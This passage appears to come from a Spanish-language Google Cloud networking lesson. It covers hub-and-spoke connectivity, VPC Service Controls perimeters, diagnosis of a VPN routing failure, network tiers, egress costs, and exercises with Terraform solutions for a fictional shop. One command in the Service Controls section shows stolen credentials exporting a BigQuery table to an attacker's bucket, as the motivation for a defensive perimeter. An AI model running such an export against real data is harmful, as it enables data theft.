routing_mode = REGIONAL con recursos multirregión Una región llega y la otra no Cambiar a GLOBAL
Esperar transitividad del emparejamiento La VPC emparejada no llega a la VPN Es imposible por diseño; usar NCC o VPC compartida
Firewall olvidado BGP arriba, ping sin respuesta Regla de ingreso para el rango remoto

  1. Network Connectivity Center: la topología radial gestionada

Cuando hay muchas redes y muchas sedes, el problema N² del emparejamiento se vuelve insoportable. Network Connectivity Center (NCC) resuelve eso con un modelo radial (hub and spoke):

  • Un eje (hub) central, que es un recurso lógico.
  • Radios (spokes): VPC, túneles VPN, adjuntos de Interconnect, o dispositivos virtuales de terceros.
  • El eje encamina entre radios, lo que da la transitividad que el emparejamiento no tiene.
flowchart TB
    HUB(("NCC hub"))
    S1["VPC produccion"] --- HUB
    S2["VPC datos"] --- HUB
    S3["VPN Sabadell"] --- HUB
    S4["VPN oficina central"] --- HUB
    S5["Interconnect socio"] --- HUB
gcloud network-connectivity hubs create alpinashop-hub --project=alpinashop-red

gcloud network-connectivity spokes linked-vpc-network create radio-prod \
  --hub=alpinashop-hub --vpc-network=alpinashop-vpc \
  --global --project=alpinashop-red

¿Lo necesita AlpinaShop? No. Con una VPC compartida y un enlace a Sabadell, el eje no aporta nada y cuesta por radio y hora. Se explica porque es la respuesta correcta cuando la red crece —cinco o más redes y sedes que deben hablarse entre sí— y porque saber que existe evita montar quince emparejamientos a mano.

  1. Controles de servicio de VPC: el perímetro contra la exfiltración

Este apartado responde al riesgo del principio de la lección, y es probablemente lo más importante que hay aquí.

El problema que IAM no resuelve. IAM controla quién puede hacer qué. No controla desde dónde ni hacia dónde. Si sa-informes-nocturnos tiene permiso para leer alpinashop_analitica, y alguien roba sus credenciales:

# Con la credencial robada, desde cualquier maquina de internet:
bq extract alpinashop-datos:alpinashop_analitica.pedidos \
   gs://bucket-del-atacante/exfiltrado-*.csv

IAM autoriza esta operación. El permiso existe, la petición es legítima desde el punto de vista de la autorización. Y los datos salen.

Los controles de servicio de VPC (VPC Service Controls) crean un perímetro alrededor de proyectos y servicios. Dentro del perímetro se puede trabajar; los datos no cruzan la frontera, ni siquiera con credenciales válidas.

flowchart TB
    subgraph PER["Perimetro: alpinashop-datos"]
      BQ["BigQuery<br/>alpinashop_analitica"]
      GCS["Buckets<br/>alpinashop-datalake"]
    end
    OK["Dataflow desde<br/>10.10.1.0/24"] -->|"PERMITIDO"| PER
    LU["Lucia desde IP<br/>corporativa + nivel de acceso"] -->|"PERMITIDO"| PER
    MAL["Credencial robada<br/>desde internet"] -.->|"BLOQUEADO"| PER
    PER -.->|"BLOQUEADO:<br/>copia a bucket externo"| EXT["Proyecto ajeno"]

    style PER fill:#e6f4ea,stroke:#34a853
    style MAL fill:#fce8e6,stroke:#ea4335
    style EXT fill:#fce8e6,stroke:#ea4335

El perímetro de AlpinaShop

# 1. Nivel de acceso: desde donde SI se puede entrar
gcloud access-context-manager levels create acceso_corporativo \
  --title="Acceso corporativo AlpinaShop" \
  --basic-level-spec=nivel.yaml \
  --policy=POLICY_ID
# nivel.yaml
- ipSubnetworks:
    - 88.20.145.0/24        # oficina central
    - 192.168.10.0/24       # tienda de Sabadell, a traves del tunel
- members:
    - serviceAccount:[email protected]
# 2. El perimetro, PRIMERO EN MODO DE PRUEBA
gcloud access-context-manager perimeters create perimetro_datos \
  --title="Perimetro de datos AlpinaShop" \
  --resources=projects/NUMERO_PROYECTO_DATOS \
  --restricted-services=bigquery.googleapis.com,storage.googleapis.com \
  --access-levels=acceso_corporativo \
  --perimeter-type=regular \
  --policy=POLICY_ID \
  --dry-run                          # <<< IMPRESCINDIBLE

Con --dry-run, el perímetro registra lo que bloquearía sin bloquear nada. Se dejan una o dos semanas y se analizan las violaciones:

-- Violaciones que se producirian, desde los logs de auditoria
SELECT
  timestamp,
  protopayload_auditlog.authenticationInfo.principalEmail AS identidad,
  protopayload_auditlog.methodName AS metodo,
  protopayload_auditlog.metadata.dryRun AS en_pruebas,
  protopayload_auditlog.metadata.violationReason AS motivo
FROM `alpinashop-datos.auditoria.cloudaudit_googleapis_com_policy`
WHERE DATE(timestamp) >= DATE_SUB(CURRENT_DATE(), INTERVAL 14 DAY)
ORDER BY timestamp DESC

Solo cuando el listado está limpio o justificado se aplica de verdad (--enable-dry-run-config y promoción del perímetro).

La advertencia que hay que tomarse en serio

VPC Service Controls es la función de Google Cloud con la que más gente se ha bloqueado a sí misma.

Lo que rompe habitualmente, y hay que preverlo antes:

Se rompe Por qué Solución
La consola web de BigQuery El navegador de Lucía sale por una IP no incluida Añadir el rango al nivel de acceso
Cloud Build accediendo a un bucket del perímetro El proyecto alpinashop-cicd está fuera Puente entre perímetros o incluirlo
Cloud Shell Sale por IP de Google, no por la tuya Nivel de acceso específico o VM propia
Herramientas de terceros (Looker Studio, BI) Fuera del perímetro Regla de ingreso específica
Exportaciones legítimas a otro proyecto Es exactamente lo que bloquea Regla de salida (egress policy) explícita

Y hay dos reglas de oro:

  1. Nunca actives un perímetro un viernes. Es un tópico y es literalmente cierto.
  2. --dry-run no es opcional. Es la diferencia entre un control de seguridad y una caída de un día.

Aviso. El diseño de perímetros, niveles de acceso y reglas de entrada y salida tiene implicaciones directas de seguridad y de cumplimiento. Lo de aquí es un modelo docente correcto, pero antes de proteger datos personales o financieros en producción debe revisarlo un profesional de seguridad y de cumplimiento normativo.

  1. Diagnóstico de red: Network Intelligence Center y un fallo real

Network Intelligence Center agrupa las herramientas que convierten el diagnóstico de red en algo determinista.

Herramienta Qué hace
Pruebas de conectividad Simula un paquete de A a B y dice exactamente qué lo permite o lo bloquea
Topología de red Mapa visual del tráfico real entre regiones, zonas y servicios
Panel de rendimiento Latencia y pérdida de paquetes entre zonas y regiones
Analizador de firewall Reglas sin uso, reglas sombreadas por otras, permisivas de más
Flow Logs Registro de las conexiones reales

Un fallo real, resuelto con herramientas

Los hechos. Lunes por la mañana. El proceso de sincronización de stock lleva tres horas fallando: Connection timed out al conectar a 192.168.10.20:3306. El viernes funcionaba. Nadie ha tocado nada (dicen).

Paso 1 — ¿Está arriba el túnel?

gcloud compute vpn-tunnels list --project=alpinashop-red \
  --format="table(name,status,detailedStatus)"
NAME                STATUS        DETAILED_STATUS
tunel-sabadell-0    ESTABLISHED   Tunnel is up and running
tunel-sabadell-1    ESTABLISHED   Tunnel is up and running

Los dos túneles arriba. No es la VPN. Aquí se acaba el diagnóstico de mucha gente, que concluye "es cosa de Sabadell" y llama por teléfono.

Paso 2 — ¿Está arriba el BGP y qué rutas hay?

gcloud compute routers get-status alpinashop-router-euw1 \
  --region=europe-west1 --project=alpinashop-red \
  --format="yaml(result.bgpPeerStatus)"
- name: bgp-sabadell-0
  state: Established
  status: UP
  numLearnedRoutes: 0        # <<<<<< AQUI ESTA

Cero rutas aprendidas. El túnel está establecido y la sesión BGP también, pero Sabadell ha dejado de anunciar 192.168.10.0/24. El paquete no sabe por dónde salir.

Paso 3 — Confirmarlo con una prueba de conectividad, que da un veredicto inapelable:

gcloud network-management connectivity-tests create diag-erp \
  --source-project=alpinashop-prod \
  --source-ip-address=10.10.0.15 \
  --destination-ip-address=192.168.10.20 \
  --destination-port=3306 \
  --protocol=TCP \
  --project=alpinashop-red

gcloud network-management connectivity-tests describe diag-erp \
  --project=alpinashop-red --format="yaml(reachabilityDetails)"
reachabilityDetails:
  result: UNREACHABLE
  traces:
  - steps:
    - description: Initial state - instance
    - description: Config checking state - apply egress firewall rule
      state: APPLY_EGRESS_FIREWALL_RULE
    - description: Config checking state - route
      state: NO_ROUTE            # <<<<<< veredicto
      causeCode: NO_ROUTE_FROM_ROUTE_TABLE

NO_ROUTE. No es el firewall, no es el túnel: no hay ruta. La prueba de conectividad ha convertido tres horas de sospechas en treinta segundos de certeza.

Paso 4 — La causa raíz. Llamada a la empresa que mantiene el router de Sabadell: el sábado actualizaron el firmware y la configuración BGP se restauró desde una copia anterior a la instalación de la VPN. La red anunciada desapareció de la configuración.

Paso 5 — Corrección y lecciones. El proveedor restaura el anuncio; las rutas aparecen en menos de un minuto y el proceso vuelve a funcionar. Lo que se cambia después:

  1. Alerta sobre numLearnedRoutes == 0 en Cloud Monitoring. Habría avisado el sábado por la noche.
  2. Alerta sobre el estado de los túneles VPN (vpn/tunnel_established).
  3. La sincronización de stock deja de fallar en silencio: si lleva más de 30 minutos sin actualizar, alerta. La detección la hizo un humano tres horas tarde, exactamente lo que 06-04 quería evitar.
  4. El acuerdo con el proveedor de la tienda incorpora avisar de cambios en el router.

Flow Logs: cuando hace falta ver el tráfico real

Los VPC Flow Logs, activados en el apartado 4 con muestreo del 50 %, permiten responder preguntas que ninguna otra herramienta responde:

-- Quien esta hablando con el ERP a traves del tunel, y cuanto
SELECT
  jsonPayload.connection.src_ip   AS origen,
  jsonPayload.connection.dest_ip  AS destino,
  jsonPayload.connection.dest_port AS puerto,
  COUNT(*)                        AS conexiones,
  SUM(CAST(jsonPayload.bytes_sent AS INT64)) AS bytes
FROM `alpinashop-red.red.compute_googleapis_com_vpc_flows_*`
WHERE _TABLE_SUFFIX BETWEEN FORMAT_DATE('%Y%m%d', DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY))
                        AND FORMAT_DATE('%Y%m%d', CURRENT_DATE())
  AND NET.IP_TO_STRING(NET.IP_FROM_STRING(jsonPayload.connection.dest_ip))
      LIKE '192.168.10.%'
GROUP BY origen, destino, puerto
ORDER BY bytes DESC

Sirven para tres cosas concretas: investigar incidentes de seguridad (¿quién habló con esa IP?), entender el coste (qué tráfico cruza zonas o regiones) y encontrar tráfico que no debería existir.

Su inconveniente es el volumen: son caros. Por eso flow_sampling = 0.5, y por eso conviene un sumidero a BigQuery con caducidad en lugar de retención larga en Cloud Logging (06-06).

  1. Niveles de servicio Premium y Estándar

Google Cloud ofrece dos niveles de red para el tráfico saliente hacia internet:

Premium (por defecto) Estándar
Recorrido Por la red troncal privada de Google hasta el punto más cercano al usuario Sale a internet público desde la región de origen
Latencia Menor y más estable Mayor y variable
IP Anycast global Regional
Balanceo global Sí No: solo balanceadores regionales
SLA Sí Menor
Precio Mayor Del orden de un 25-30 % menos

La diferencia práctica con un ejemplo: un cliente de Berlín que visita AlpinaShop en europe-west1. Con Premium, entra a la red de Google en Berlín y el resto del camino va por fibra de Google. Con Estándar, todo el trayecto Berlín→Bélgica va por internet público, con la latencia y variabilidad que eso implica.

Criterio:

Caso Nivel
Tráfico de clientes finales Premium. La latencia es conversión
Balanceador global, CDN, IP anycast Premium (es obligatorio)
Copias de seguridad nocturnas a otro proveedor Estándar: nadie espera
Entornos de desarrollo Estándar
Transferencias masivas sin urgencia Estándar

AlpinaShop usa Premium para la tienda —no es negociable, el balanceador global lo exige— y podría usar Estándar en alpinashop-dev, aunque el ahorro sería de céntimos.

  1. El coste del tráfico: donde se esconde la factura

Este apartado es un anticipo de 07-05, pero pertenece aquí porque son decisiones de red.

La regla que resume el 90 % de los casos:

La entrada es gratis. La salida se paga. Y cuanto más lejos, más cara.

Trayecto Coste orientativo Comentario
Entrada desde internet Gratis Siempre
Dentro de una zona, por IP interna Gratis El caso ideal
Entre zonas de la misma región ~0,01 $/GB Sorprende a todo el mundo
Entre regiones dentro de la UE ~0,02 $/GB
Entre continentes 0,05-0,15 $/GB
Salida a internet (Premium, primeros TB) ~0,12 $/GB
Salida a internet vía Cloud CDN Menor Por eso la CDN ahorra (03-03)
Salida por túnel VPN Tarifa de internet + coste del túnel

Los cuatro escondites clásicos, con su remedio:

  1. Tráfico entre zonas por alta disponibilidad. Cloud SQL en HA regional replica continuamente entre zonas, y eso se paga. Es el precio de la disponibilidad y está bien pagarlo — pero hay que saber que está ahí antes de sorprenderse.
  2. Aplicación y base de datos en zonas distintas sin motivo. Cada consulta cruza zona y paga. Colocar deliberadamente lo que se habla mucho es gratis y ahorra.
  3. Logs y métricas que cruzan regiones. Un sumidero de logs de europe-west1 hacia un bucket en us-central1 paga tráfico intercontinental por cada línea de log. Los buckets de logs se ponen en la misma región.
  4. Copias de seguridad y exportaciones a otro proveedor. Sacar 500 GB al mes hacia otra nube son decenas de euros mensuales que nadie atribuyó a nadie.

Las tres palancas de ahorro que se aplican en la red:

  • CDN (03-03): cada respuesta servida desde caché no sale del origen. Es la palanca más grande para un sitio con imágenes.
  • Colocación: poner en la misma zona lo que se llama constantemente.
  • Comprimir: gzip o brotli en el balanceador reduce los bytes facturados y además mejora la experiencia.

Y el desglose por servicio se consulta con la exportación de facturación de 01-04:

SELECT
  service.description  AS servicio,
  sku.description      AS concepto,
  ROUND(SUM(cost), 2)  AS coste_eur
FROM `alpinashop-datos.facturacion.gcp_billing_export_v1_XXXX`
WHERE DATE(usage_start_time) >= DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
  AND (LOWER(sku.description) LIKE '%egress%'
       OR LOWER(sku.description) LIKE '%network%'
       OR LOWER(sku.description) LIKE '%inter-zone%'
       OR LOWER(sku.description) LIKE '%inter-region%')
GROUP BY servicio, concepto
HAVING coste_eur > 0.5
ORDER BY coste_eur DESC

Errores Comunes y Consejos

  • No tener plan de direccionamiento. El día que dos rangos se solapen, la única solución es renumerar con parada de servicio. Diez minutos de hoja de cálculo evitan un fin de semana horrible.
  • Usar 172.16.0.0/12 en la VPC. Es el rango por defecto de Docker; los contenedores no podrán alcanzar esas IP.
  • Crear la VPC con auto_create_subnetworks = true. Crea una subred en cada región con rangos que no elegiste y que probablemente choquen con algo.
  • Poner la red compartida en el proyecto de producción. Obliga a dar permisos de producción a quien solo necesita una subred de desarrollo. Proyecto host propio y vacío.
  • Dar compute.networkUser sobre toda la red. Se da sobre la subred concreta. Es la mitad del valor de la VPC compartida.
  • Olvidar el permiso del agente serverless-robot-prod al usar Cloud Run con VPC directa en VPC compartida. Error críptico garantizado.
  • routing_mode = REGIONAL en una red que crecerá. Cambiarlo después reinicia las sesiones BGP.
  • Esperar transitividad del emparejamiento. A↔B y B↔C no dan A↔C. Nunca.
  • Emparejar sin --export-custom-routes. El emparejamiento se establece y aun así no se llega a la VPN del otro lado.
  • No anunciar el rango de acceso a servicios privados. Túnel perfecto y Cloud SQL inalcanzable desde la sede.
  • Montar la VPN con un solo túnel. Cualquier mantenimiento del otro lado es un corte. Dos túneles, siempre.
  • Activar VPC Service Controls sin --dry-run. Es la forma más eficaz de bloquear a todo tu equipo, incluido tú.
  • Olvidar que Cloud Shell sale por IP de Google. Con un perímetro activo, tu propia consola deja de funcionar y parece un fallo de la plataforma.
  • Diagnosticar redes a base de ping y suposiciones. Las pruebas de conectividad dan un veredicto con la regla concreta que bloquea.
  • Ignorar el tráfico entre zonas. No es gratis, y en arquitecturas replicadas es una parte apreciable de la factura.
  • Consejo: alerta sobre numLearnedRoutes y sobre el estado de los túneles. Son dos métricas que avisan de un fallo híbrido antes de que lo note un proceso de negocio.
  • Consejo: guarda la clave precompartida de la VPN en Secret Manager, no en el .tf ni en el historial del terminal.
  • Consejo: activa los Flow Logs con muestreo, no al 100 %. Al 50 % ves lo que necesitas por la mitad de coste.

Ejercicios

Ejercicio 1 — Diseñar el direccionamiento de una expansión

AlpinaShop crece y hay que planificar la red para lo siguiente:

  • Segunda región europe-southwest1 (Madrid) para alta disponibilidad, con las mismas tres subredes.
  • Dos tiendas físicas nuevas: Girona y Zaragoza, cada una con su LAN y su VPN.
  • Un socio logístico que se conectará por Private Service Connect para consultar el estado de los envíos.
  • Un entorno de pruebas de carga que se crea y se destruye, aislado del resto.
  • Previsión de un clúster de GKE con hasta 200 pods.

Elabora la tabla completa de direccionamiento indicando rango, uso, región y justificación del tamaño. Señala qué decisiones tomas para no quedarte sin espacio en cinco años y qué rangos prohíbes explícitamente.

Ejercicio 2 — Implementar la VPC compartida con permisos correctos

Escribe el Terraform que:

  1. Convierte alpinashop-red en proyecto host y vincula alpinashop-prod, alpinashop-dev y alpinashop-datos.
  2. Crea las subredes sn-web-euw1, sn-datos-euw1 y sn-dev-euw1 con Private Google Access y Flow Logs al 50 %.
  3. Concede permisos de forma que: gcp-desarrollo@ solo pueda usar sn-dev-euw1; gcp-datos@ solo sn-datos-euw1; la cuenta de servicio de Cloud Run pueda usar sn-web-euw1; y nadie salvo gcp-infra@ pueda modificar reglas de firewall.
  4. Define quién tiene compute.xpnAdmin y en qué nivel de la jerarquía.

Explica además qué pasaría si Dani intentase crear una VM en sn-datos-euw1 y qué error vería exactamente.

Ejercicio 3 — Diagnosticar tres fallos de conectividad

Para cada uno de estos tres casos, indica el diagnóstico más probable, cómo lo confirmarías con herramientas concretas, y cómo lo corregirías.

(a) El servicio alpinashop-web en Cloud Run, con VPC directa configurada, no consigue conectar a 192.168.10.20:3306 (el ERP). Desde una VM de sn-web-euw1 sí funciona. Los túneles están ESTABLISHED y el BGP aprende 192.168.10.0/24.

(b) Lucía no puede abrir la consola de BigQuery desde su portátil en casa. Desde la oficina sí. El error dice VPC Service Controls: Request is prohibited by organization's policy. Hace dos semanas que el perímetro está activo y hasta ahora nadie se había quejado.

(c) Una VM del proyecto alpinashop-datos (VPC propia, emparejada con alpinashop-vpc) necesita llegar al ERP de Sabadell. El emparejamiento está ACTIVE, la VM llega sin problemas a las VM de sn-web-euw1, pero a 192.168.10.20 no.

Soluciones

Solución 1 — Diseñar el direccionamiento de una expansión

Principio rector: reservar bloques /16 completos por ámbito aunque se use una fracción mínima. El espacio privado tiene 16,7 millones de direcciones en 10.0.0.0/8: ahorrar rangos es una falsa economía y la causa número uno de renumeraciones.

Bloque Rango Uso Región / sede Justificación del tamaño
Google Cloud, región 1 10.10.0.0/16 Existente europe-west1 65k IP, sobra
10.10.0.0/24 sn-web-euw1 Cargas web
10.10.1.0/24 sn-datos-euw1 Bases de datos
10.10.2.0/24 sn-dev-euw1 Desarrollo
10.10.8.0/22 Pods de GKE (secundario) 200 pods necesitan ~1.024 IP con margen de reprogramación
10.10.12.0/24 Servicios de GKE (secundario) 256 servicios de sobra
10.10.16.0/24 Subred de solo proxy Balanceadores internos
10.10.20.0/24 Cloud Run VPC directa Consume IP por instancia; /24 es holgado
10.10.240.0/20 Acceso a servicios privados Lo exige Google; no reducir
Google Cloud, región 2 10.20.0.0/16 Espejo exacto europe-southwest1 Mismo esquema con el segundo octeto cambiado
10.20.0.0/24 sn-web-esw1
10.20.1.0/24 sn-datos-esw1
10.20.2.0/24 sn-dev-esw1
10.20.240.0/20 Servicios privados región 2
Regiones futuras 10.30.0.0/16 … 10.90.0.0/16 Reservado — Un /16 por región, sin asignar
Pruebas de carga 10.100.0.0/16 Efímero, VPC aislada europe-west1 Deliberadamente fuera del bloque de producción
Tiendas físicas 192.168.0.0/16 Bloque de sedes — Se mantiene el esquema existente
192.168.10.0/24 Sabadell Existente
192.168.11.0/24 Girona Nueva
192.168.12.0/24 Zaragoza Nueva
192.168.13.0/24 … 192.168.49.0/24 Reservado: 37 tiendas más
192.168.20.0/24 Oficina central Existente
Extremos PSC 10.10.250.0/24 Extremos de consumo europe-west1 Fuera de las subredes normales, fácil de identificar
10.20.250.0/24 Ídem región 2
PROHIBIDO 172.16.0.0/12 Docker — Choca con redes puente de contenedores
PROHIBIDO 169.254.0.0/16 Enlace local — Lo usa BGP y los metadatos de GCP
PROHIBIDO 10.0.0.0/16, 10.1.0.0/16 Reservado a fusiones — Rangos "obvios" que suele usar el que compras

Las cinco decisiones que evitan la renumeración a cinco años:

  1. Un /16 por región, con el segundo octeto como identificador de región. 10.X0.0.0/16. Mirar una IP y saber la región sin consultar nada tiene un valor operativo enorme durante un incidente.
  2. Esquema de subredes idéntico entre regiones, cambiando solo el segundo octeto. Las reglas de firewall, los scripts y los diagramas se replican con una sustitución.
  3. Las tiendas van todas en 192.168.0.0/16 con /24 correlativos. El anuncio BGP puede agregarse y una regla de firewall cubre todas las tiendas presentes y futuras.
  4. Las pruebas de carga en 10.100.0.0/16, fuera del bloque de producción y en VPC propia sin emparejar. Si un test descontrolado inunda algo, no puede alcanzar producción. Y como es efímero, su rango puede reutilizarse sin riesgo.
  5. Reservar 10.0.0.0/16 y 10.1.0.0/16 sin usarlos. Son los rangos que elige por defecto quien no planifica. El día que AlpinaShop compre otra empresa, es casi seguro que la comprada usa uno de esos dos — y tenerlos libres evita renumerar la red ajena.

Sobre el socio logístico: no consume direccionamiento propio. Con PSC crea un extremo en su VPC con su rango, apuntando al service attachment de AlpinaShop. Ninguna de las dos partes ve la red de la otra, no hay riesgo de solapamiento y no hay rutas que gestionar. Es exactamente el caso de uso de PSC frente al emparejamiento, y por eso se ha convertido en el estándar para conectar con socios.

Solución 2 — Implementar la VPC compartida con permisos correctos

# ------------------------------------------------------------------
# 1. Proyecto host y vinculacion de proyectos de servicio
# ------------------------------------------------------------------

resource "google_compute_shared_vpc_host_project" "host" {
  project = "alpinashop-red"
}

resource "google_compute_shared_vpc_service_project" "servicios" {
  for_each = toset(["alpinashop-prod", "alpinashop-dev", "alpinashop-datos"])

  host_project    = google_compute_shared_vpc_host_project.host.project
  service_project = each.value
}

# ------------------------------------------------------------------
# 2. Red y subredes
# ------------------------------------------------------------------

resource "google_compute_network" "alpinashop" {
  project                 = "alpinashop-red"
  name                    = "alpinashop-vpc"
  auto_create_subnetworks = false
  routing_mode            = "GLOBAL"
}

locals {
  subredes = {
    "sn-web-euw1"   = "10.10.0.0/24"
    "sn-datos-euw1" = "10.10.1.0/24"
    "sn-dev-euw1"   = "10.10.2.0/24"
  }
}

resource "google_compute_subnetwork" "subredes" {
  for_each = local.subredes

  project                  = "alpinashop-red"
  name                     = each.key
  ip_cidr_range            = each.value
  region                   = "europe-west1"
  network                  = google_compute_network.alpinashop.id
  private_ip_google_access = true

  log_config {
    aggregation_interval = "INTERVAL_10_MIN"
    flow_sampling        = 0.5
    metadata             = "INCLUDE_ALL_METADATA"
  }
}

# ------------------------------------------------------------------
# 3. Permisos granulares POR SUBRED
# ------------------------------------------------------------------

resource "google_compute_subnetwork_iam_member" "dev" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.subredes["sn-dev-euw1"].name
  role       = "roles/compute.networkUser"
  member     = "group:[email protected]"
}

resource "google_compute_subnetwork_iam_member" "datos" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.subredes["sn-datos-euw1"].name
  role       = "roles/compute.networkUser"
  member     = "group:[email protected]"
}

# Cloud Run con VPC directa: el permiso lo necesita el AGENTE DE SERVICIO,
# no la cuenta de servicio del servicio. Es el error que nadie adivina.
resource "google_compute_subnetwork_iam_member" "run" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.subredes["sn-web-euw1"].name
  role       = "roles/compute.networkUser"
  member     = "serviceAccount:service-${data.google_project.prod.number}@serverless-robot-prod.iam.gserviceaccount.com"
}

data "google_project" "prod" {
  project_id = "alpinashop-prod"
}

# ------------------------------------------------------------------
# 4. Firewall: SOLO gcp-infra@ puede tocarlo
# ------------------------------------------------------------------

resource "google_project_iam_member" "seguridad_red" {
  project = "alpinashop-red"
  role    = "roles/compute.securityAdmin"     # gestiona reglas de firewall
  member  = "group:[email protected]"
}

resource "google_project_iam_member" "admin_red" {
  project = "alpinashop-red"
  role    = "roles/compute.networkAdmin"      # subredes, routers, VPN, NAT
  member  = "group:[email protected]"
}

# Los demas equipos solo LEEN la red, para poder depurar
resource "google_project_iam_member" "lectores_red" {
  for_each = toset([
    "group:[email protected]",
    "group:[email protected]",
  ])
  project = "alpinashop-red"
  role    = "roles/compute.networkViewer"
  member  = each.value
}

# ------------------------------------------------------------------
# 5. xpnAdmin: a nivel de CARPETA, no de proyecto
# ------------------------------------------------------------------

resource "google_folder_iam_member" "xpn_admin" {
  folder = var.folder_compartido_id
  role   = "roles/compute.xpnAdmin"
  member = "group:[email protected]"
}

Sobre compute.xpnAdmin. Se concede a gcp-infra@ a nivel de la carpeta compartido, no de proyecto, porque es donde vive el host y desde donde se vinculan los proyectos. Concederlo a nivel de organización daría poder para convertir en host cualquier proyecto de la empresa, que es más de lo necesario. Aplicando el mínimo privilegio de 03-04: el nivel más bajo de la jerarquía en el que el permiso funciona.

En AlpinaShop, gcp-infra@ es Marta, y este es exactamente el tipo de permiso que en 07-04 se convertirá en candidato a elevación temporal en lugar de permanente.

Qué pasaría si Dani intentase crear una VM en sn-datos-euw1:

$ gcloud compute instances create prueba-dani \
    --project=alpinashop-dev --zone=europe-west1-b \
    --subnet=projects/alpinashop-red/regions/europe-west1/subnetworks/sn-datos-euw1

ERROR: (gcloud.compute.instances.create) Could not fetch resource:
 - Required 'compute.subnetworks.use' permission for
   'projects/alpinashop-red/regions/europe-west1/subnetworks/sn-datos-euw1'

El permiso que falta es compute.subnetworks.use, que forma parte de roles/compute.networkUser. El mensaje nombra la subred concreta, lo que hace el diagnóstico inmediato.

Y hay un matiz revelador: si Dani ejecuta gcloud compute networks subnets list --project=alpinashop-red, verá sn-dev-euw1 y también sn-datos-euw1, porque tiene networkViewer. Puede ver que existe, pero no usarla. Esa distinción entre ver y usar es deliberada: sin visibilidad no se puede diagnosticar nada, y con networkViewer no se puede hacer daño.

Solución 3 — Diagnosticar tres fallos de conectividad

(a) Cloud Run no llega al ERP, pero una VM de la misma subred sí.

Diagnóstico. Que una VM de sn-web-euw1 sí llegue demuestra que la ruta, el BGP y el firewall están bien. Lo que cambia entre la VM y Cloud Run es cómo sale el tráfico. La causa casi segura es --vpc-egress: si está en private-ranges-only, el tráfico a rangos RFC 1918 debería ir por la VPC… y 192.168.10.0/24 es RFC 1918, así que eso encaja. Quedan dos hipótesis:

  1. El servicio no tiene VPC directa realmente aplicada (se configuró en el servicio pero la revisión en tráfico es anterior al cambio). Es la causa más frecuente: la configuración de red se aplica por revisión, y si se cambió con --no-traffic, el 100 % del tráfico sigue en la revisión antigua sin red.
  2. La subred asignada a la VPC directa no es sn-web-euw1 sino otra sin las rutas correctas.

Confirmación.

# Que revision esta recibiendo trafico y que red tiene
gcloud run services describe alpinashop-web --region=europe-west1 \
  --format="yaml(spec.traffic, spec.template.metadata.annotations)"

# Prueba de conectividad tomando Cloud Run como origen
gcloud network-management connectivity-tests create diag-run-erp \
  --source-cloud-run-revision=alpinashop-web-00042-abc \
  --destination-ip-address=192.168.10.20 \
  --destination-port=3306 --protocol=TCP \
  --project=alpinashop-red

Corrección. Redesplegar aplicando red y dando tráfico a esa revisión:

gcloud run services update alpinashop-web --region=europe-west1 \
  --network=alpinashop-vpc --subnet=sn-web-euw1 \
  --vpc-egress=private-ranges-only
gcloud run services update-traffic alpinashop-web --region=europe-west1 --to-latest

Y comprobar que el agente serverless-robot-prod tiene networkUser sobre sn-web-euw1; sin él, el despliegue habría fallado con un error de permisos poco explícito.

(b) Lucía no puede entrar en BigQuery desde casa.

Diagnóstico. El mensaje lo dice literalmente: el perímetro de VPC Service Controls está bloqueando la petición. El nivel de acceso acceso_corporativo incluye 88.20.145.0/24 (la oficina) y 192.168.10.0/24 (Sabadell), pero no la IP doméstica de Lucía. Desde la oficina funciona porque sale por el rango permitido.

Que "hasta ahora nadie se había quejado" no significa que sea nuevo: significa que nadie había trabajado desde fuera desde que se activó el perímetro. Es el patrón típico — el perímetro se activa, funciona, y dos semanas después alguien teletrabaja y aparece el problema.

Confirmación.

SELECT
  timestamp,
  protopayload_auditlog.authenticationInfo.principalEmail AS quien,
  protopayload_auditlog.requestMetadata.callerIp          AS ip_origen,
  protopayload_auditlog.metadata.violationReason          AS motivo
FROM `alpinashop-datos.auditoria.cloudaudit_googleapis_com_policy`
WHERE protopayload_auditlog.authenticationInfo.principalEmail = '[email protected]'
  AND DATE(timestamp) = CURRENT_DATE()
ORDER BY timestamp DESC LIMIT 20

El campo callerIp muestra la IP doméstica y violationReason dirá NO_MATCHING_ACCESS_LEVEL.

Corrección. Hay tres opciones, y la peor es la más tentadora:

Opción Valoración
Añadir la IP de casa de Lucía al nivel de acceso Mala. Las IP domésticas son dinámicas y esto se repetirá con cada persona y cada cambio de IP. Convierte el nivel de acceso en una lista inmanejable
Que Lucía se conecte por VPN corporativa y salga por la IP de oficina Aceptable, pero exige montar y mantener una VPN de usuario
Nivel de acceso basado en dispositivo, con BeyondCorp Enterprise / Endpoint Verification: se permite el acceso desde un equipo gestionado, cifrado y con pantalla bloqueada, independientemente de la IP La correcta, y es la implementación práctica de la confianza cero que se desarrolla en 07-04

La tercera es más trabajo inicial y es la única que escala: el control deja de ser "desde dónde te conectas" y pasa a ser "qué dispositivo eres y quién eres", que es lo que realmente importa. Mientras se implanta, la opción 2 es un puente razonable.

(c) La VM de alpinashop-datos llega a sn-web-euw1 pero no a Sabadell.

Diagnóstico. Es el problema de transitividad del emparejamiento, en su forma más pura. La VPC de datos está emparejada con alpinashop-vpc, y por eso alcanza sus subredes. Pero la ruta hacia 192.168.10.0/24 no es una subred de alpinashop-vpc: es una ruta aprendida por BGP desde el túnel VPN. Y por defecto el emparejamiento no exporta rutas aprendidas por BGP ni rutas estáticas: solo las de las subredes.

Además, aunque se exportaran, hay un segundo obstáculo: el emparejamiento no es transitivo, de modo que el tráfico de retorno desde Sabadell tampoco sabría cómo volver a la VPC de datos salvo que su rango también se anuncie por BGP.

Confirmación.

# Ver las rutas que exporta e importa el emparejamiento
gcloud compute networks peerings list-routes datos-hacia-red \
  --network=vpc-datos --region=europe-west1 --direction=INCOMING \
  --project=alpinashop-datos

192.168.10.0/24 no aparecerá en la lista.

Corrección. Hay dos caminos, y la diferencia entre ellos es la moraleja de la lección:

Camino 1 — Parchear el emparejamiento. Activar la exportación de rutas personalizadas en el lado de alpinashop-vpc y la importación en el lado de datos, y además anunciar por BGP el rango de la VPC de datos hacia Sabadell:

gcloud compute networks peerings update red-hacia-datos \
  --network=alpinashop-vpc --export-custom-routes --project=alpinashop-red

